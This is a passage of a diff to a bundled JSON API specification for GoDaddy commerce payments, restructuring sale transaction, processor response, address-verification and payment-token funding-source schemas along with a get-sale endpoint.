"propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" } }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" - } + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" }, - "required": [ - "type" - ] + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" } - } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Apple pay token", - "writeOnly": true - } - }, - "required": [ - "token" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/google-pay-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GooglePayPaymentToken", - "type": "object", - "allOf": [ + }, + "title": "Card Processor Response", + "type": "object" + }, { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" } - } + }, + "title": "AVS Results", + "type": "object" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } - } + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "title": "Card Processor Response", + "type": "object" + } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" + } + }, + "title": "DebitCardProcessorResponse", + "type": "object" + } + ], + "properties": { + "processorType": { + "type": "string" + } + }, + "required": [ + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + ], + "description": "Represents sale transaction against a payment", + "title": "Sale Transaction", + "type": "object", + "x-generic-type": "Transaction" + }, + "type": "array" + } + }, + "title": "Sales" + } + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" + } + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read", + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "getSaleById", + "method": "GET", + "path": "/stores/{storeId}/payments/{paymentId}/sales/{transactionId}", + "summary": "Get Sale", + "description": "Retrieve the information of the sale by the transaction ID.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "transactionId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Sale Found", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/payment/sale.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents transaction against a payment", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" } }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", "properties": { - "type": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, "type": "string", - "description": "Discriminator type" + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" } }, "required": [ - "type" - ] + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Google pay token", - "writeOnly": true - } + }, + "title": "Tip Amount", + "type": "object" }, - "required": [ - "token" - ] + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" + } }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/paypal-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaypalPaymentToken", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "title": "Amount", + "type": "object" + }, + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Context details", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" + } + }, + "title": "PaymentContext", + "type": "object" + } + ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" - } + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "required": [ - "type" - ] - } + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Paypal token", - "writeOnly": true - } - }, - "required": [ - "token" - ] - } - ], - "discriminator": { - "propertyName": "sourceType", - "mapping": { - "PAYMENT_CARD": "./PaymentCard.yaml", - "EBT_CARD": "./EBTCard.yaml", - "GODADDY": "../payment-token/GDPaymentTokenReference.yaml", - "APPLE_PAY": "../payment-token/ApplePayPaymentToken.yaml", - "GOOGLE_PAY": "../payment-token/GooglePayPaymentToken.yaml", - "PAYPAL": "../payment-token/PaypalPaymentToken.yaml" - } - }, - "properties": { - "sourceType": { - "type": "string", - "description": "Discriminator field representing the type of Funding source" - } - }, - "required": [ - "sourceType" - ] + }, + "title": "Card Processor Response", + "type": "object" + } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" + } + }, + "title": "DebitCardProcessorResponse", + "type": "object" + } + ], + "properties": { + "processorType": { + "type": "string" + } }, - "parentTransactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } + "required": [ + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": 